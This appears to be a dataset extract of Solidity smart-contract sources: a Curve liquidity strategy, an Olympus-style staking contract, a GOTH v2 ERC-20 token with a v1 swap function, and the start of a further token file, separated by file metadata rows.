uint256[3] calldata amounts,
uint256 min_mint_amount) external;
function add_liquidity(// bUSD pool
uint256[4] calldata amounts,
uint256 min_mint_amount) external;
function remove_liquidity_imbalance(uint256[4] calldata amounts, uint256 max_burn_amount) external;
function remove_liquidity(uint256 _amount, uint256[4] calldata amounts) external;
function exchange(int128 from,
int128 to,
uint256 _from_amount,
uint256 _min_to_amount) external;
}
interface ICurveDeposit {
function get_virtual_price() external view returns (uint256);
function add_liquidity(// renBTC pool
uint256[2] calldata amounts,
uint256 min_mint_amount) external;
function add_liquidity(// sBTC pool
uint256[3] calldata amounts,
uint256 min_mint_amount) external;
function add_liquidity(// bUSD pool
uint256[4] calldata amounts,
uint256 min_mint_amount) external;
function remove_liquidity_one_coin(uint256 _amount, int128 _i, uint256 _min_uamount) external;
function remove_liquidity_one_coin(uint256 _amount, int128 _i, uint256 _min_uamount, bool _donate_dust) external;
function remove_liquidity(uint256 _amount, uint256[4] calldata amounts) external;
function exchange(int128 from,
int128 to,
uint256 _from_amount,
uint256 _min_to_amount) external;
function calc_withdraw_one_coin(uint256 _amount, int128 _index) external view returns(uint256);
}
//
interface Gauge {
function deposit(uint256) external;
function balanceOf(address) external view returns (uint256);
function withdraw(uint256) external;
}
//
interface Uni {
function swapExactTokensForTokens(uint256,
uint256,
address[] calldata,
address,
uint256) external;
}
interface IController {
function withdraw(address, uint256) external;
function balanceOf(address) external view returns (uint256);
function earn(address, uint256) external;
function want(address) external view returns (address);
function rewards() external view returns (address);
function vaults(address) external view returns (address);
}
//
interface Mintr {
function mint(address) external;
}
//
contract StrategyCurve2TokenPool {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
uint256 public constant N_COINS = 2;
uint256 public immutable WANT_COIN_INDEX;
address public immutable want;
address public immutable crvLP;
address public immutable curveDeposit;
address public immutable gauge;
address public immutable mintr;
address public immutable crv;
address public immutable uni;
// used for crv <> weth <> dai route
address public immutable weth;
string private name;
// renBTC, wBTC
address[N_COINS] public coins;
uint256[N_COINS] public ZEROS = [uint256(0),uint256(0)];
uint256 public performanceFee = 500;
uint256 public immutable performanceMax = 10000;
// TODO: change back to 50
uint256 public withdrawalFee = 0;
uint256 public immutable withdrawalMax = 10000;
address public governance;
address public controller;
address public timelock;
constructor
(address _controller,
string memory _name,
uint256 _wantCoinIndex,
address[N_COINS] memory _coins,
address _curveDeposit,
address _gauge,
address _crvLP,
address _crv,
address _uni,
address _mintr,
address _weth,
address _timelock)
public
{
governance = msg.sender;
controller = _controller;
name = _name;
WANT_COIN_INDEX = _wantCoinIndex;
want = _coins[_wantCoinIndex];
coins = _coins;
curveDeposit = _curveDeposit;
gauge = _gauge;
crvLP = _crvLP;
crv = _crv;
uni = _uni;
mintr = _mintr;
weth = _weth;
timelock = _timelock;
}
function getName() external view returns (string memory) {
return name;
}
function setWithdrawalFee(uint256 _withdrawalFee) external {
require(msg.sender == governance, "!governance");
require(_withdrawalFee < withdrawalMax, "inappropriate withdraw fee");
withdrawalFee = _withdrawalFee;
}
function setPerformanceFee(uint256 _performanceFee) external {
require(msg.sender == governance, "!governance");
require(_performanceFee < performanceMax, "inappropriate performance fee");
performanceFee = _performanceFee;
}
function deposit() public {
_deposit(WANT_COIN_INDEX);
}
function _deposit(uint256 _coinIndex) internal {
require(_coinIndex < N_COINS, "index exceeded bound");
address coinAddr = coins[_coinIndex];
uint256 wantAmount = IERC20(coinAddr).balanceOf(address(this));
if (wantAmount > 0) {
IERC20(coinAddr).safeApprove(curveDeposit, 0);
IERC20(coinAddr).safeApprove(curveDeposit, wantAmount);
uint256[N_COINS] memory amounts = ZEROS;
amounts[_coinIndex] = wantAmount;
// TODO: add minimun mint amount if required
ICurveDeposit(curveDeposit).add_liquidity(amounts, 0);
}
uint256 crvLPAmount = IERC20(crvLP).balanceOf(address(this));
if (crvLPAmount > 0) {
IERC20(crvLP).safeApprove(gauge, 0);
IERC20(crvLP).safeApprove(gauge, crvLPAmount);
Gauge(gauge).deposit(crvLPAmount);
}
}
// Withdraw all funds, normally used when migrating strategies
function withdrawAll() external returns (uint256 balance) {
require(msg.sender == controller, "!controller");
uint256 _amount = Gauge(gauge).balanceOf(address(this));
Gauge(gauge).withdraw(_amount);
IERC20(crvLP).safeApprove(curveDeposit, 0);
IERC20(crvLP).safeApprove(curveDeposit, _amount);
// TODO: add minimun mint amount if required
ICurveDeposit(curveDeposit).remove_liquidity_one_coin(_amount, int128(WANT_COIN_INDEX), 0);
balance = IERC20(want).balanceOf(address(this));
address _vault = IController(controller).vaults(address(want));
require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
IERC20(want).safeTransfer(_vault, balance);
}
function withdraw(uint256 _amount) external {
require(msg.sender == controller, "!controller");
uint256 _balance = IERC20(want).balanceOf(address(this));
if (_balance < _amount) {
_withdrawSome(_amount.sub(_balance));
_amount = IERC20(want).balanceOf(address(this));
}
uint256 _fee = _amount.mul(withdrawalFee).div(withdrawalMax);
IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
address _vault = IController(controller).vaults(address(want));
require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
IERC20(want).safeTransfer(_vault, _amount.sub(_fee));
}
function _withdrawSome(uint256 _amount) internal {
uint256 rate = ICurveDeposit(curveDeposit).calc_withdraw_one_coin(10**18, int128(WANT_COIN_INDEX));
_amount = _amount.mul(10**18).div(rate);
if(_amount > balanceOfGauge()) {
_amount = balanceOfGauge();
}
Gauge(gauge).withdraw(_amount);
IERC20(crvLP).safeApprove(curveDeposit, 0);
IERC20(crvLP).safeApprove(curveDeposit, _amount);
// TODO: add minimun mint amount if required
ICurveDeposit(curveDeposit).remove_liquidity_one_coin(_amount, int128(WANT_COIN_INDEX), 0);
}
// Controller only function for creating additional rewards from dust
function withdraw(IERC20 _asset) external returns (uint256 balance) {
require(msg.sender == controller, "!controller");
for(uint i = 0; i < N_COINS; ++i) {
require(coins[i] != address(_asset), "internal token");
}
require(crv != address(_asset), "crv");
require(crvLP != address(_asset), "crvLP");
balance = _asset.balanceOf(address(this));
_asset.safeTransfer(controller, balance);
}
function harvest(uint _coinIndex) public {
require(_coinIndex < N_COINS, "index exceeded bound");
Mintr(mintr).mint(gauge);
address harvestingCoin = coins[_coinIndex];
uint256 _crv = IERC20(crv).balanceOf(address(this));
if (_crv > 0) {
IERC20(crv).safeApprove(uni, 0);
IERC20(crv).safeApprove(uni, _crv);
address[] memory path = new address[](3);
path[0] = crv;
path[1] = weth;
path[2] = harvestingCoin;
// TODO: add minimun mint amount if required
Uni(uni).swapExactTokensForTokens(_crv, uint256(0), path, address(this), now.add(1800));
}
uint256 harvestAmount = IERC20(harvestingCoin).balanceOf(address(this));
if (harvestAmount > 0) {
uint256 _fee = harvestAmount.mul(performanceFee).div(performanceMax);
IERC20(harvestingCoin).safeTransfer(IController(controller).rewards(), _fee);
_deposit(_coinIndex);
}
}
function balanceOfWant() public view returns (uint256) {
return IERC20(want).balanceOf(address(this));
}
function balanceOfGauge() public view returns (uint256) {
return Gauge(gauge).balanceOf(address(this));
}
function balanceOfPool() public view returns (uint256) {
uint256 gaugeBalance = balanceOfGauge();
// NOTE: this is for curve ren pool only, since calc_withdraw_one_coin
// would raise error when input 0 amount
if(gaugeBalance == 0){
return 0;
}
return ICurveDeposit(curveDeposit).calc_withdraw_one_coin(gaugeBalance, int128(WANT_COIN_INDEX));
}
function balanceOf() public view returns (uint256) {
return balanceOfWant().add(balanceOfPool());
}
function setGovernance(address _governance) external {
require(msg.sender == timelock, "!timelock");
governance = _governance;
}
function setController(address _controller) external {
require(msg.sender == timelock, "!timelock");
controller = _controller;
}
function setTimelock(address _timelock) public {
require(msg.sender == timelock, "!timelock");
timelock = _timelock;
}
}
| 277,663 | 11,218 |
6d7b5db8b36c4bcd600d9734c5c3d5f0c0a2dab80969acae23c45b5de2a8873a
| 27,377 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/69/6966C9E01A4E4530F01590653aBbb74Ba5cDA1ec_DeFIREStaking.sol
| 4,199 | 16,946 |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IMemo {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract DeFIREStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable DeFIRE;
address public immutable Memories;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _DeFIRE,
address _Memories,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_DeFIRE != address(0));
DeFIRE = _DeFIRE;
require(_Memories != address(0));
Memories = _Memories;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(DeFIRE).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IMemo(Memories).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(Memories).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IMemo(Memories).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IMemo(Memories).balanceForGons(info.gons));
IERC20(DeFIRE).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(Memories).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(DeFIRE).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IMemo(Memories).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IMemo(Memories).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IMemo(Memories).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(DeFIRE).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(Memories).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(Memories).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 118,375 | 11,219 |
ea725f1542d2cd40658cd645bc9d34ca3d043301b88bd912d82c7092e0f46008
| 21,108 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/c5/C522a0f30196bD04aF68647233FC50AB8879DB7C_GothTokenV2.sol
| 3,402 | 13,173 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
function sqrt(uint256 n) internal pure returns (uint256) { unchecked {
if (n > 0) {
uint256 x = n / 2 + 1;
uint256 y = (x + n / x) / 2;
while (x > y) {
x = y;
y = (x + n / x) / 2;
}
return x;
}
return 0;
} }
}
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
// GOTH v2 signifies true growth, the contraints of GOTH v1 were too much.
// With this new and improved version we have more control over the supply and how
// and where it is used. There is a built in swap function that will be active for
// 1 year, and it will allow GOTH v1 holders to, SHAZAM, convert it for GOTH v2.
// The max supply has been reduced from 1 trillion to 1 billion and awards those
// that swap to GOTH v2 a 10% increase on what they receive.
contract GothTokenV2 is Ownable, IERC20, IERC20Metadata, ReentrancyGuard
{
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint256 public maxSupply = 1_000_000_000e18;
string private _name;
string private _symbol;
IERC20 public immutable GOTHV1;
uint256 private swapPeriodEnd;
event SwapOldGOTH(address account, uint256 oldGothBurnt, uint256 newGothMinted);
constructor(IERC20 _gothV1)
{
_name = "GOTH Token v2";
_symbol = "GOTH";
GOTHV1 = _gothV1;
swapPeriodEnd = block.timestamp + 31_540_000;
}
function name() public view virtual override returns (string memory)
{
return _name;
}
function symbol() public view virtual override returns (string memory)
{
return _symbol;
}
function decimals() public view virtual override returns (uint8)
{
return 18;
}
function totalSupply() public view virtual override returns (uint256)
{
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256)
{
return _balances[account];
}
// Uses nonReentrant modifier to prevent f'ery, checks to see if the sender has the
// required amount of GOTH v1 and checks to see if the time period for swapping has
// not been passed. When both requirements are satisifed it transfers the old GOTH
// from the senders account to a burn address then mints the new GOTH v2 with 10%
// added to the senders address.
function swapOldGOTH (uint256 amount) external nonReentrant
{
require(GOTHV1.balanceOf(msg.sender) >= amount, "swapOldGOTH: not enough old GOTH");
require(block.timestamp < swapPeriodEnd, "swapOldGOTH: the time window for swapping old GOTH to GOTH v2 has ended");
GOTHV1.transferFrom(msg.sender, address(1), amount);
uint256 newAmount = amount + amount.div(10);
_mint(msg.sender, newAmount.div(1000));
emit SwapOldGOTH(msg.sender, amount, newAmount);
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function burn(uint256 amount) public virtual returns (bool)
{
_burn(_msgSender(), amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool)
{
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked
{
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool)
{
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool)
{
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked
{
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual
{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked
{
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function mint (address account, uint256 amount) public onlyOwner
{
_mint(account, amount);
}
function _mint(address account, uint256 amount) internal virtual
{
require(account != address(0), "ERC20: mint to the zero address");
require(_totalSupply.add(amount) <= maxSupply, "ERC20: max supply reached");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual
{
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked
{
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual
{
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
| 102,050 | 11,220 |
4728732cea5a2d18905f0ae79c472c6a674751e0b3cf83b3122fe884f3b25799
| 19,858 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/a2/a2145cf5dd3ea87a48c2a6ae2ce0df52519a57d4_FRED.sol
| 3,227 | 11,018 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
